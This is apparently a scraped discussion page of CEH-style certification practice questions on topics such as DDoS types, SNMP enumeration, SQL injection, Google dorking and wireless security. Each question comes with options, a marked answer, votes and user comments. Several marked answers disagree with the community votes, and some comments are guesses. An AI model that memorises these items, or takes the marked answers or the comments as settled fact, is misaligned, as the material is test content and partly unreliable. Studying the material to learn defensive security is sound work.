A Pulse Wave DDoS attack is a sophisticated variation that involves alternating periods of attack intensity and brief pauses, making it more challenging for traditional mitigation techniques to detect and respond effectively. This approach can help the attacker achieve their objective of exhausting network resources while concealing their identity. Additionally, leveraging a botnet enhances the attacker's ability to generate a massive volume of traffic, making it even more challenging for the targeted online retailer to mitigate the attack.

upvoted 2 times

✉  **ldixon84304** 7 months, 3 weeks ago

I was thinking it was "D" due to anonymity being a requirement.

upvoted 1 times

A large organization is investigating a possible identity theft case where an attacker has created a new identity by combining multiple pieces of information from different victims to open a new bank account. The attacker also managed to receive government benefits using a fraudulent identity. Given the circumstances, which type of identity theft is the organization dealing with?

- A. Identity Cloning and Concealment
- B. Child Identity Theft
- C. Social Identity Theft
- D. Synthetic Identity Theft

Correct Answer: D

*Community vote distribution*

D (100%)

✉️👤 Spam\_Protection 6 months, 3 weeks ago

Selected Answer: D

Its syn, you made a person using info from various sources.

upvoted 1 times

✉️👤 insaniant 7 months, 3 weeks ago

Selected Answer: D

D - Synthetic Identity Theft

This is one of the most sophisticated types of identity theft, where the perpetrator obtains information from different victims to create a new identity. Firstly, he steals a Social Security Number and uses it with a combination of fake names, date of birth, address, and other details required for creating a new identity. The perpetrator uses this new identity to open new accounts, loans, credit cards, phones, other goods, and services (Module 09 Page 1385)

upvoted 4 times

A company recently experienced a debilitating social engineering attack that led to substantial identity theft. An inquiry found that the employee inadvertently provided critical information during an innocuous phone conversation. Considering the specific guidelines issued by the company to thwart social engineering attacks, which countermeasure would have been the most successful in averting the incident?

- A. Conduct comprehensive training sessions for employees on various social engineering methodologies and the risks associated with revealing confidential data.
- B. Implement a well-documented change management process for modifications related to hardware or software.
- C. Adopt a robust software policy that restricts the installation of unauthorized applications.
- D. Reinforce physical security measures to limit access to sensitive zones within the company premises, thereby warding off unauthorized intruders.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️👤 insaniant 7 months, 3 weeks ago

Selected Answer: A

A. Conduct comprehensive training sessions for employees on various social engineering methodologies and the risks associated with revealing confidential data

upvoted 4 times

An IT company has just implemented new security controls to their network and system setup. As a Certified Ethical Hacker, your responsibility is to assess the possible vulnerabilities in the new setup. You are given the information that the network and system are adequately patched with the latest updates, and all employees have gone through recent cybersecurity awareness training. Considering the potential vulnerability sources, what is the best initial approach to vulnerability assessment?

- A. Conducting social engineering tests to check if employees can be tricked into revealing sensitive information
- B. Checking for hardware and software misconfigurations to identify any possible loopholes
- C. Evaluating the network for inherent technology weaknesses prone to specific types of attacks
- D. Investigating if any ex-employees still have access to the company's system and data

Correct Answer: B

*Community vote distribution*

B (89%)

11%

✉️  GK2205 2 months, 1 week ago

Selected Answer: B

The key to this question is "Best .. initial ..."

upvoted 1 times

✉️  LordXander 6 months, 1 week ago

Selected Answer: B

It's B because misconfiguration still can occur after proper patching and training

upvoted 2 times

✉️  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: B

Keyword "new setup". Checking for hardware and software misconfigurations to identify any possible loopholes

upvoted 2 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: C

Given that the network and system are adequately patched, and employees have undergone recent cybersecurity awareness training, the best initial approach to vulnerability assessment would likely be:

C. Evaluating the network for inherent technology weaknesses prone to specific types of attacks.

While all the options are important aspects of a comprehensive vulnerability assessment, evaluating the network for inherent technology weaknesses helps identify potential vulnerabilities that may exist due to the configuration, design, or technology choices. This involves assessing the network for weaknesses that could be exploited by attackers, such as insecure protocols, open ports, or default configurations that may pose security risks. This step complements the information about the latest updates and cybersecurity awareness training by focusing on the technical aspects of the network's security posture.

upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

actually, B is the correct answer.

upvoted 3 times

✉️  athicalacker 7 months, 1 week ago

The question mentions adequate patching, suggesting these weaknesses are likely addressed. So it can't be C.

The answer is option B. Even with patches and training, misconfigurations can introduce vulnerabilities. Checking for them first allows you to identify and address fundamental flaws before proceeding to more advanced testing.

upvoted 3 times

✉️  insaniant 7 months, 3 weeks ago

Selected Answer: B

B. Checking for hardware and software misconfigurations to identify any possible loopholes

upvoted 2 times

cloudgangster 7 months, 3 weeks ago

Selected Answer: B

I'm not sure but i think B

upvoted 1 times

Question #173

Topic 1

An ethical hacker has been tasked with assessing the security of a major corporation's network. She suspects the network uses default SNMP community strings. To exploit this, she plans to extract valuable network information using SNMP enumeration. Which tool could best help her to get the information without directly modifying any parameters within the SNMP agent's management information base (MIB)?

- A. SnmpWalk, with a command to change an OID to a different value
- B. snmp-check (snmp\_enum Module) to gather a wide array of information about the target
- C. Nmap, with a script to retrieve all running SNMP processes and associated ports
- D. OpUtils, are mainly designed for device management and not SNMP enumeration

Correct Answer: B

*Community vote distribution*

B (100%)

qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: B

snmp-check (snmp\_enum Module)

upvoted 1 times

insaniunt 7 months, 3 weeks ago

Selected Answer: B

B. snmp-check (snmp\_enum Module) to gather a wide array of information about the target

The snmp-check tool, particularly its snmp\_enum module, is designed for SNMP enumeration and allows an ethical hacker to extract a wide array of information from a target's SNMP service without directly modifying any parameters within the SNMP agent's MIB

upvoted 4 times

qtygbapjpesdayazko 7 months ago

this is the way

upvoted 1 times

qwerty100 7 months, 3 weeks ago

Selected Answer: B

B. snmp-check (snmp\_enum Module) to gather a wide array of information about the target

Module 04 Page 429

upvoted 2 times

cloudgangster 7 months, 3 weeks ago

Selected Answer: B

B I THINK

upvoted 1 times

During a recent vulnerability assessment of a major corporation's IT systems, the security team identified several potential risks. They want to use a vulnerability scoring system to quantify and prioritize these vulnerabilities. They decide to use the Common Vulnerability Scoring System (CVSS). Given the characteristics of the identified vulnerabilities, which of the following statements is the most accurate regarding the metric types used by CVSS to measure these vulnerabilities?

- A. Temporal metric represents the inherent qualities of a vulnerability.
- B. Base metric represents the inherent qualities of a vulnerability.
- C. Temporal metric involves measuring vulnerabilities based on a specific environment or implementation.
- D. Environmental metric involves the features that change during the lifetime of the vulnerability.

Correct Answer: **B**

*Community vote distribution*

B (91%)

9%

✉  **qwertyst100** Highly Voted 7 months, 3 weeks ago

Selected Answer: B

B. Base metric represents the inherent qualities of a vulnerability.

(Module 05 Page 528)

Base Metric: It represents the inherent qualities of a vulnerability.

Temporal Metric: It represents the features that continue to change during the lifetime of the vulnerability.

Environmental Metric: It represents vulnerabilities that are based on a particular environment or implementation.  
upvoted 5 times

✉  **qtygbapjpesdayazko** 7 months ago

This is the way

upvoted 3 times

✉  **LordXander** Most Recent 6 months, 1 week ago

Selected Answer: B

I would go with B because it in the handbook

upvoted 1 times

✉  **qtygbapjpesdayazko** 7 months ago

Selected Answer: B

B. Base metric represents the inherent qualities of a vulnerability. Most Voted

upvoted 1 times

✉  **insaniunt** 7 months, 3 weeks ago

Selected Answer: B

B - Base metric represents the inherent qualities of a vulnerability. The Base metric measures the fundamental properties of a vulnerability, such as attack vector, impact, complexity, need for user interaction, scope, and required privileges

upvoted 3 times

✉  **pechuga** 7 months, 3 weeks ago

I think its C

upvoted 1 times

✉  **clougangster** 7 months, 3 weeks ago

Selected Answer: C

I think its C

upvoted 1 times

✉  **clougangster** 7 months, 3 weeks ago

B actually

upvoted 1 times

You are a cybersecurity consultant at SecureIoT Inc. A manufacturing company has contracted you to strengthen the security of their Industrial IoT (IIoT) devices used in their operational technology (OT) environment. They are concerned about potential attacks that could disrupt their production lines and compromise safety. They have an advanced firewall system in place, but you know this alone is not enough. Which of the following measures should you suggest to provide comprehensive protection for their IIoT devices?

- A. Increase the frequency of changing passwords on all IIoT devices.
- B. Use the same encryption standards for IIoT devices as for IT devices.
- C. Rely on the existing firewall and install antivirus software on each IIoT device.
- D. Implement network segmentation to separate IIoT devices from the rest of the network.

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚑 LordXander 6 months, 1 week ago

Selected Answer: D

Network segmentation is always the best when it comes to IoT...cannot be hacked if it's not online  
upvoted 1 times

✉️ 🚑 insanaint 7 months, 3 weeks ago

Selected Answer: D

D. Implement network segmentation to separate IIoT devices from the rest of the network.

For comprehensive protection of Industrial IoT (IIoT) devices in an operational technology (OT) environment, implementing network segmentation is a crucial measure

upvoted 3 times

In an advanced digital security scenario, a multinational enterprise is being targeted with a complex series of assaults aimed to disrupt operations, manipulate data integrity, and cause serious financial damage. As the Lead Cybersecurity Analyst with CEH and CISSP certifications, your responsibility is to correctly identify the specific type of attack based on the following indicators:

The attacks are exploiting a vulnerability in the target system's hardware, inducing misprediction of future instructions in a program's control flow. The attackers are strategically inducing the victim process to speculatively execute instructions sequences that would not have been executed in the absence of the misprediction, leading to subtle side effects. These side effects, which are observable from the shared state, are then utilized to infer the values of in-flight data.

What type of attack best describes this scenario?

- A. Rowhammer Attack
- B. Watering Hole Attack
- C. Side-Channel Attack
- D. Privilege Escalation Attack

Correct Answer: C

*Community vote distribution*

C (83%)

A (17%)

✉️  **insaniunt** Highly Voted 7 months, 3 weeks ago

Selected Answer: C

C. Side-Channel Attack

In this context, the attackers are exploiting a vulnerability in the target system's hardware to observe and infer information based on side-channel information. The side-channel information, in this case, is derived from subtle side effects caused by speculatively executed instructions and mispredictions in the program's control flow.

upvoted 5 times

✉️  **yicx1** Most Recent 3 months, 2 weeks ago

Selected Answer: A

A: take advantage of side effect in DRAM hardware design  
B: induce victim to visit a malicious site  
C: gather extra information (such as timing information or power consumption), rather than directly exploit the target victim  
D: upgrade privilege to gain more access

So the answer should be A.

upvoted 1 times

In the process of implementing a network vulnerability assessment strategy for a tech company, the security analyst is confronted with the following scenarios:

- 1) A legacy application is discovered on the network, which no longer receives updates from the vendor.
- 2) Several systems in the network are found running outdated versions of web browsers prone to distributed attacks.
- 3) The network firewall has been configured using default settings and passwords.
- 4) Certain TCP/IP protocols used in the organization are inherently insecure.

The security analyst decides to use vulnerability scanning software. Which of the following limitations of vulnerability assessment should the analyst be most cautious about in this context?

- A. Vulnerability scanning software cannot define the impact of an identified vulnerability on different business operations
- B. Vulnerability scanning software is not immune to software engineering flaws that might lead to serious vulnerabilities being missed
- C. Vulnerability scanning software is limited in its ability to detect vulnerabilities at a given point in time
- D. Vulnerability scanning software is limited in its ability to perform live tests on web applications to detect errors or unexpected behavior

Correct Answer: A

*Community vote distribution*

A (71%)

C (29%)

✉️  xavi79 4 months, 2 weeks ago

answer is B  
Based on ChatGPT  
upvoted 1 times

✉️  LordXander 6 months ago

Selected Answer: A  
So...there are 3 choices that make sense.  
A - because VA don't have context, which is 100% true  
B - this one is debatable because every single vulnerability is due to software engineering flaws. However, for some a pentest might find them.  
C - that's applicable to VA/Pentests/Audits, hence too broad  
D - no

A is the most correct one, however C could be a valid option generally speaking

upvoted 1 times

✉️  Jonas9042 6 months ago

B: "Vulnerability scanning software is not immune to software engineering flaws that might lead to serious vulnerabilities being missed."

While all the options represent potential limitations of vulnerability assessment, option B highlights a critical concern. Vulnerability scanning software, like any software, can have its own flaws or limitations in its ability to accurately detect vulnerabilities. These flaws could range from misconfigurations to incomplete vulnerability databases or algorithms. Consequently, serious vulnerabilities might go undetected if the scanning software fails to properly identify them.

It's important for the security analyst to be aware of this limitation and not solely rely on vulnerability scanning software. They should complement automated scanning with manual checks, penetration testing, and other security measures to ensure comprehensive coverage and accuracy in identifying vulnerabilities within the network.

upvoted 1 times

✉️  qtygbapjpesdayazko 7 months ago

Selected Answer: A  
A. Vulnerability scanning software cannot define the impact of an identified vulnerability on different business operations.

The problems described will not change their criticality over time, so C will not change the results.

upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: C  
C. Vulnerability scanning software is limited in its ability to detect vulnerabilities at a given point in time.  
While vulnerability scanning is a valuable tool for identifying known vulnerabilities in a network, it's important to note that it provides a snapshot of the system's security posture at a specific moment.

upvoted 2 times

✉️  **insaniunt** 7 months, 2 weeks ago

Selected Answer: A

I think A. Vulnerability scanning software cannot define the impact of an identified vulnerability on different business operations  
upvoted 3 times

✉️  **xbsumz** 7 months, 2 weeks ago

Im a bit hesitant about the effectiveness of this CEH technique  
upvoted 1 times

Question #178

Topic 1

In your cybersecurity class, you are learning about common security risks associated with web servers. One topic that comes up is the risk posed by using default server settings. Why is using default settings on a web server considered a security risk, and what would be the best initial step to mitigate this risk?

- A. Default settings allow unlimited login attempts; setup account lockout
- B. Default settings reveal server software type; change these settings
- C. Default settings cause server malfunctions; simplify the settings
- D. Default settings enable auto-updates; disable and manually patch

Correct Answer: B

*Community vote distribution*

B (100%)

✉️  **LordXander** 6 months ago

Selected Answer: B

B - because think of a default php.ini, mysql.conf and so on  
upvoted 1 times

✉️  **ryotan** 7 months, 2 weeks ago

Why A was incorrect?  
upvoted 1 times

✉️  **brrbrr** 7 months, 1 week ago

Option A suggests addressing the risk associated with default server settings by implementing an account lockout mechanism for unlimited login attempts. While implementing account lockout is a good security practice to protect against brute-force attacks, it may not directly address the broader issue of default settings on a web server.  
upvoted 2 times

✉️  **insaniunt** 7 months, 3 weeks ago

Selected Answer: B

The best initial step to mitigate this risk is to:

- B. Default settings reveal server software type; change these settings  
upvoted 3 times

As a junior security analyst for a small business, you are tasked with setting up the company's first wireless network. The company wants to ensure the network is secure from potential attacks. Given that the company's workforce is relatively small and the need for simplicity in managing network security, which of the following measures would you consider a priority to protect the network?

- A. Hide the network SSID
- B. Enable WPA2 or WPA3 encryption on the wireless router
- C. Implement a MAC address whitelist
- D. Establish a regular schedule for changing the network password

Correct Answer: *B*

*Community vote distribution*

B (100%)

✉️  LordXander 6 months ago

Selected Answer: B

B because WPA3  
upvoted 1 times

✉️  insanaint 7 months, 3 weeks ago

Selected Answer: B

B. Enable WPA2 or WPA3 encryption on the wireless router  
upvoted 4 times

During a reconnaissance mission, an ethical hacker uses Maltego, a popular footprinting tool, to collect information about a target organization. The information includes the target's Internet infrastructure details (domains, DNS names, Netblocks, IP address information). The hacker decides to use social engineering techniques to gain further information. Which of the following would be the least likely method of social engineering to yield beneficial information based on the data collected?

- A. Dumpster diving in the target company's trash bins for valuable printouts
- B. Impersonating an ISP technical support agent to trick the target into providing further network details
- C. Shoulder surfing to observe sensitive credentials input on the target's computers
- D. Eavesdropping on internal corporate conversations to understand key topics

Correct Answer: **B**

*Community vote distribution*

A (62%)      C (23%)      B (15%)

✉  brrbrr  7 months, 1 week ago

Selected Answer: A

The least likely method of social engineering to yield beneficial information would be:

- A. Dumpster diving in the target company's trash bins for valuable printouts.

Maltego is a digital footprinting tool that gathers information about the target's Internet infrastructure, such as domains, DNS names, Netblocks, and IP addresses. Dumpster diving, on the other hand, involves physically searching through an organization's trash bins for discarded printouts or documents. This method is less likely to yield beneficial information related to the Internet infrastructure details obtained using Maltego, as it focuses on physical documents rather than digital assets. The other options (B, C, and D) involve social engineering techniques that are more aligned with digital or human interactions.

upvoted 6 times

✉  qtygbapjpesdayazko 7 months ago

This is the way

upvoted 2 times

✉  ametah  3 months, 1 week ago

Selected Answer: A

The key word that changes the equation in this question is "least likely method". Therefore, "Dumpster diving" would be the least likely method of social engineering to yield beneficial information based on the data collected.

upvoted 1 times

✉  94578de 3 months, 1 week ago

Selected Answer: C

The correct answer is C because to perform shoulder surfing you have to be in the facility and stay behind an employee's shoulder

upvoted 2 times

✉  LordXander 6 months ago

Selected Answer: A

Well, B is definitely not correct for one single reason: you already have the IP, so you know who the ISP is and you could definitely get some info.

C&D are more effective when you already have some information mapped...however quite questionable when you only have some IPs.

A...for A you don't need any prerequisites hence it makes a lot of sense to be A.

upvoted 1 times

✉  qwerty100 7 months ago

Selected Answer: C

C. Shoulder surfing to observe sensitive credentials input on the target's computers

upvoted 1 times

✉  insanaint 7 months, 3 weeks ago

Selected Answer: B

B. Impersonating an ISP technical support agent to trick the target into providing further network details

upvoted 2 times

An organization has been experiencing intrusion attempts despite deploying an Intrusion Detection System (IDS) and Firewalls. As a Certified Ethical Hacker, you are asked to reinforce the intrusion detection process and recommend a better rule-based approach. The IDS uses Snort rules and the new recommended tool should be able to complement it. You suggest using YARA rules with an additional tool for rule generation. Which of the following tools would be the best choice for this purpose and why?

- A. yarGen - Because it generates YARA rules from strings identified in malware files while removing strings that also appear in goodware files
- B. Koodous - Because it combines social networking with antivirus signatures and YARA rules to detect malware
- C. YaraRET - Because it helps in reverse engineering Trojans to generate YARA rules
- D. AutoYara - Because it automates the generation of YARA rules from a set of malicious and benign files

Correct Answer: A

*Community vote distribution*

A (80%) D (20%)

✉️  LordXander 6 months ago

Selected Answer: A

A makes more sense for this specific case  
upvoted 1 times

✉️  qtygbapjpesdayazko 7 months ago

Selected Answer: A

A. yarGen - Because it generates YARA rules from strings identified in malware files while removing strings that also appear in goodware files  
Is in the book  
upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: D

The most suitable tool for generating YARA rules, complementing the Snort rules, and reinforcing the intrusion detection process, based on the given options, would be:

D. AutoYara - Because it automates the generation of YARA rules from a set of malicious and benign files.

AutoYara is designed to automate the generation of YARA rules by analyzing both malicious and benign files. It facilitates the creation of YARA rules based on patterns and characteristics found in the files, helping to identify and detect similar patterns in other files. This tool can be valuable for enhancing the rule-based approach of an Intrusion Detection System (IDS) by generating rules that are specific to the organization's threat landscape.

While other tools mentioned (yarGen, Koodous, YaraRET) also have their specific use cases, AutoYara is more aligned with the objective of automatically generating YARA rules from both malicious and benign files, which can be particularly useful for a comprehensive intrusion detection strategy.

upvoted 1 times

✉️  Lalo 6 months, 1 week ago

In this case, the scenario is that the "best rule-based approach" is selected and not a flexible, customizable tool.

upvoted 1 times

✉️  Lalo 6 months, 1 week ago

Answer A

The choice between YARGen and AutoYARA depends on your specific use case and requirements. If your primary focus is on generating YARA rules specifically for malware samples, YARGen may be the better choice. However, if you need a more versatile tool that can generate rules from various input sources and provide greater customization options, AutoYARA might be more suitable. Consider evaluating both tools based on your needs and preferences to determine which one best complements your Snort deployment.

upvoted 1 times

✉️  insanaint 7 months, 3 weeks ago

Selected Answer: A

yarGen

yarGen is used for generating YARA rules from strings identified in malware files while removing all strings that also appear in goodware files  
upvoted 1 times

✉️  insanaint 7 months, 3 weeks ago

Module 12 Page 1642

upvoted 3 times

✉  **qtygbapjesdayazko** 7 months ago

this is the day

upvoted 1 times

✉  **qwerty100** 7 months, 3 weeks ago

Selected Answer: A

It's A

A. yarGen - Because it generates YARA rules from strings identified in malware files while removing strings that also appear in goodware files

A. yarGen: Generates YARA rules from malware and goodware strings to aid in malware detection.

B. Koodous: A collaborative platform for Android malware analysis and community-driven threat intelligence.

C. YaraRET: A tool for forensic analysis and reverse engineering, searching for patterns with YARA rules.

D. AutoYara: Automates YARA rule generation from malware samples for efficient threat detection.

upvoted 1 times

Question #182

Topic 1

During an attempt to perform an SQL injection attack, a certified ethical hacker is focusing on the identification of database engine type by generating an ODBC error. The ethical hacker, after injecting various payloads, finds that the web application returns a standard, generic error message that does not reveal any detailed database information. Which of the following techniques would the hacker consider next to obtain useful information about the underlying database?

- A. Utilize a blind injection technique that uses time delays or error signatures to extract information
- B. Try to insert a string value where a number is expected in the input field
- C. Attempt to compromise the system through OS-level command shell execution
- D. Use the UNION operator to combine the result sets of two or more SELECT statements

Correct Answer: A

*Community vote distribution*

A (100%)

✉  **LordXander** 6 months ago

Selected Answer: A

B - would be filtered out

C - well...if you already have shell capabilities, why bother with database errors

D - same for B

A - seems the most plausible one

upvoted 1 times

✉  **dobarb** 6 months, 3 weeks ago

A is correct. CEH page 2223-2224

upvoted 1 times

✉  **insaniunt** 7 months, 3 weeks ago

Selected Answer: A

A. Utilize a blind injection technique that uses time delays or error signatures to extract information

upvoted 3 times

During an ethical hacking engagement, you have been assigned to evaluate the security of a large organization's network. While examining the network traffic, you notice numerous incoming requests on various ports from different locations that show a pattern of an orchestrated attack. Based on your analysis, you deduce that the requests are likely to be automated scripts being run by unskilled hackers. What type of hacker classification does this scenario most likely represent?

- A. Script Kiddies trying to compromise the system using pre-made scripts.
- B. Gray Hats testing system vulnerabilities to help vendors improve security.
- C. White Hats conducting penetration testing to identify security weaknesses.
- D. Black Hats trying to exploit system vulnerabilities for malicious intent.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️ 🚩 LordXander 6 months ago

Selected Answer: A

Because A includes also the B, C (if employed) and D

upvoted 1 times

✉️ 🚩 insanaint 7 months, 3 weeks ago

Selected Answer: A

A. Script Kiddies trying to compromise the system using pre-made scripts.

upvoted 1 times

Your company suspects a potential security breach and has hired you as a Certified Ethical Hacker to investigate. You discover evidence of footprinting through search engines and advanced Google hacking techniques. The attacker utilized Google search operators to extract sensitive information. You further notice queries that indicate the use of the Google Hacking Database (CHDB) with an emphasis on VPN footprinting. Which of the following Google advanced search operators would be the LEAST useful in providing the attacker with sensitive VPN-related information?

- A. location: This operator finds information for a specific location
- B. inurl: This operator restricts the results to only the pages containing the specified word in the URL
- C. link: This operator searches websites or pages that contain links to the specified website or page
- D. intitle: This operator restricts results to only the pages containing the specified term in the title

Correct Answer: **D**

*Community vote distribution*

A (78%)

C (22%)

✉  prasoonmk 1 month, 3 weeks ago

Selected Answer: A

The location: operator is the least useful in providing the attacker with sensitive VPN-related information, because it does not directly relate to VPN configuration, credentials, or vulnerabilities. The location: operator finds information for a specific location, such as a city, country, or region. For example, location:paris would return results related to Paris, France.

The intitle: operator restricts results to only the pages containing the specified term in the title. For example, intitle:vpn would return pages with VPN in their title, which may include VPN guides, manuals, or tutorials. The inurl: operator restricts the results to only the pages containing the specified word in the URL. For example, inurl:vpn would return pages with VPN in their URL, which may include VPN login portals, configuration files, or directories. The link: operator searches websites or pages that contain links to the specified website or page. For example, link:vpn.com would return pages that link to vpn.com, which may include VPN reviews, comparisons, or recommendations. Reference:

upvoted 1 times

✉  LoveBug4 3 months ago

Selected Answer: C

We can use "location" to filter VPNs from a particular country

upvoted 1 times

✉  LordXander 6 months ago

Selected Answer: A

It's A because D is the best and others make some sense

upvoted 1 times

✉  DruSuperman 6 months, 4 weeks ago

Selected Answer: A

I don't see location on the list in the book.

upvoted 1 times

✉  LeongCC 7 months, 1 week ago

Selected Answer: A

For this question , the A is more suitable.

upvoted 1 times

✉  Lalo 6 months, 1 week ago

ANSWER CCCCCCCCCCCCCCCCC

If we are interested in finding VPNs based in the United States, we use:

site:\*.com intitle:"VPN" location:"United States"

a dork that uses the location operator

However, the "link" operator would not be the most suitable option to directly search for VPN-related websites. It is more useful to use dorks that focus on the content of web pages.

upvoted 1 times

✉  brrbrr 7 months, 1 week ago

Selected Answer: C

C. link: This operator searches websites or pages that contain links to the specified website or page.

The "link:" operator is generally used to find pages that link to a specific website or page. It helps identify sites that reference or link to a given URL. While it might reveal some information about the online presence of a target, it is less likely to directly provide sensitive VPN-related information.

On the other hand, the other options (A, B, D) can potentially yield information related to VPNs:

- A. location: This operator could be used to find information for a specific location, which might include details about VPN servers or network infrastructure in that location.
- B. inurl: This operator restricts results to pages containing the specified word in the URL. Attackers might use this to identify pages with VPN-related keywords in the URL.
- C. intitle: This operator restricts results to pages containing the specified term in the title. It can be used to find pages with titles indicating VPN-related content.

upvoted 1 times

 duke\_of\_kamulu 6 months, 2 weeks ago

you are very wrong answer is A location check courseware page 120 very clear on VPN hacking

upvoted 1 times

 LoveBug4 3 months ago

I couldn't find "link" in that page. We can use "location" to search VPN from a specific location.

upvoted 1 times

 qwerty100 7 months, 2 weeks ago

Selected Answer: A

A. Location

The "location" operator in a Google search is used to refine search results based on a specific geographic location. By including this operator in a search query, users can prioritize or limit results to those that are more relevant to a particular city, region, or country. This is particularly useful for finding local news, businesses, services, or events.

upvoted 1 times

 insanaint 7 months, 3 weeks ago

Selected Answer: A

A. Location: This operator finds information for a specific location. While it may be useful for other purposes, it is not directly related to sensitive information about VPNs.

upvoted 2 times

 insanaint 7 months, 3 weeks ago

Module 02 Page 120

upvoted 2 times

In a recent cyber-attack against a large corporation, an unknown adversary compromised the network and began escalating privileges and lateral movement. The security team identified that the adversary used a sophisticated set of techniques, specifically targeting zero-day vulnerabilities. As a Certified Ethical Hacker (CEH) hired to understand this attack and propose preventive measures, which of the following actions will be most crucial for your initial analysis?

- A. Identifying the specific tools used by the adversary for privilege escalation.
- B. Analyzing the initial exploitation methods, the adversary used.
- C. Checking the persistence mechanisms used by the adversary in compromised systems.
- D. Investigating the data exfiltration methods used by the adversary.

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  brrbrr 7 months, 1 week ago

Selected Answer: B

In the context of understanding and responding to a cyber-attack that involved zero-day vulnerabilities, the most crucial initial analysis would likely be:

- B. Analyzing the initial exploitation methods the adversary used.

Understanding the initial exploitation methods is crucial because it provides insights into how the adversary gained access to the network.  
upvoted 1 times

✉  insanaint 7 months, 3 weeks ago

Selected Answer: B

B. Analyzing the initial exploitation methods, the adversary used.  
upvoted 1 times

Jason, a certified ethical hacker, is hired by a major e-commerce company to evaluate their network's security. As part of his reconnaissance, Jason is trying to gain as much information as possible about the company's public-facing servers without arousing suspicion. His goal is to find potential points of entry and map out the network infrastructure for further examination. Which technique should Jason employ to gather this information without alerting the company's intrusion detection systems (IDS)?

- A. Jason should directly connect to each server and attempt to exploit known vulnerabilities.
- B. Jason should use passive reconnaissance techniques such as WHOIS lookups, NS lookups, and web research.
- C. Jason should use a DNS zone transfer to gather information about the company's servers.
- D. Jason should perform a ping sweep to identify all the live hosts in the company's IP range.

Correct Answer: *B*

*Community vote distribution*

B (100%)

 **insaniunt** 7 months, 3 weeks ago

Selected Answer: B

- B. Jason should use passive reconnaissance techniques such as WHOIS lookups, NS lookups, and web research.

Passive reconnaissance involves gathering information without directly interacting with the target system, minimizing the chances of detection by intrusion detection systems (IDS). WHOIS lookups, NS (Name Server) lookups, and web research are examples of passive techniques that provide valuable information about a company's public-facing servers, domain registration details, and other publicly available information without actively probing the systems.

upvoted 4 times

As the lead security engineer for a retail corporation, you are assessing the security of the wireless networks in the company's stores. One of your main concerns is the potential for "Wardriving" attacks, where attackers drive around with a Wi-Fi-enabled device to discover vulnerable wireless networks. Given the nature of the retail stores, you need to ensure that any security measures you implement do not interfere with customer experience, such as their ability to access in-store Wi-Fi. Taking into consideration these factors, which of the following would be the most suitable measure to mitigate the risk of Wardriving attacks?

- A. Limit the range of the store's wireless signals
- B. Implement MAC address filtering
- C. Disable SSID broadcasting
- D. Implement WPA3 encryption for the store's Wi-Fi network

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: D

D. Implement WPA3 encryption for the store's Wi-Fi network

B and C impact the customer, A is not effective or can impact also the customer.  
D, we don't know if the SSID have a password, so it is the best option from the 4.

upvoted 1 times

✉️  insanint 7 months, 3 weeks ago

Selected Answer: D

D. Implement WPA3 encryption for the store's Wi-Fi network

Implementing WPA3 encryption for the store's Wi-Fi network would be a suitable measure to mitigate the risk of Wardriving attacks. WPA3 is a robust security protocol that provides strong encryption and helps secure wireless communications. It ensures that even if an attacker is able to detect the Wi-Fi signals, the encrypted data transmitted over the network remains secure.

upvoted 4 times

A penetration tester was assigned to scan a large network range to find live hosts. The network is known for using strict TCP filtering rules on its firewall, which may obstruct common host discovery techniques. The tester needs a method that can bypass these firewall restrictions and accurately identify live systems. What host discovery technique should the tester use?

- A. ICMP Timestamp Ping Scan
- B. ICMP ECHO Ping Scan
- C. TCP SYN Ping Scan
- D. UDP Ping Scan

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: D

Is D.

Key word "strict TCP filtering rules on its firewall". so can not be ICMP and TCP related scans.

upvoted 1 times

✉️  insanaint 7 months, 3 weeks ago

Selected Answer: D

D. UDP Ping Scan

When dealing with strict TCP filtering rules on a firewall, a UDP Ping Scan can be an effective host discovery technique. Unlike ICMP or TCP SYN ping scans, UDP ping scans use UDP packets, which can sometimes bypass certain firewall restrictions.

upvoted 4 times

✉️  insanaint 7 months, 2 weeks ago

module 3 page 286 from ceh v12 book

upvoted 3 times

As part of a college project, you have set up a web server for hosting your team's application. Given your interest in cybersecurity, you have taken the lead in securing the server. You are aware that hackers often attempt to exploit server misconfigurations. Which of the following actions would best protect your web server from potential misconfiguration-based attacks?

- A. Regularly backing up server data
- B. Enabling multi-factor authentication for users
- C. Implementing a firewall to filter traffic
- D. Performing regular server configuration audits

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  brrbrr 7 months, 1 week ago

Selected Answer: D

While options like regularly backing up server data (option A), enabling multi-factor authentication (option B), and implementing a firewall to filter traffic (option C) are important security measures, they are not specifically focused on addressing misconfigurations. Regular configuration audits directly target the identification and correction of misconfigurations, making it a key practice for securing a web server against misconfiguration-based attacks.

upvoted 2 times

✉️  insanaint 7 months, 3 weeks ago

Selected Answer: D

D. Performing regular server configuration audits

Performing regular server configuration audits is the best action to protect your web server from potential misconfiguration-based attacks. Regular audits involve reviewing and assessing the server configuration settings to identify any deviations from security best practices or unintended misconfigurations. This helps ensure that the server is configured securely and is less vulnerable to exploitation.

upvoted 1 times

You are the chief cybersecurity officer at CloudSecure Inc., and your team is responsible for securing a cloud based application that handles sensitive customer data. To ensure that the data is protected from breaches, you have decided to implement encryption for both data-at-rest and data-in-transit. The development team suggests using SSL/TLS for securing data in transit. However, you want to also implement a mechanism to detect if the data was tampered with during transmission. Which of the following should you propose?

- A. Implement IPsec in addition to SSL/TLS.
- B. Switch to using SSH for data transmission.
- C. Encrypt data using the AES algorithm before transmission.
- D. Use the cloud service provider's built-in encryption services.

Correct Answer: A

*Community vote distribution*

A (56%) C (38%) 6%

✉️ 🚩 LoveBug4 3 months ago

Selected Answer: A

IPsec provides data encryption and data integrity. Module 11, page 1592  
upvoted 1 times

✉️ 🚩 LordXander 6 months ago

Selected Answer: A

The only option that is valid, is A.

C is indeed a strong encryption algorithm but standalone doesn't have the capabilities of detecting data tempering  
upvoted 1 times

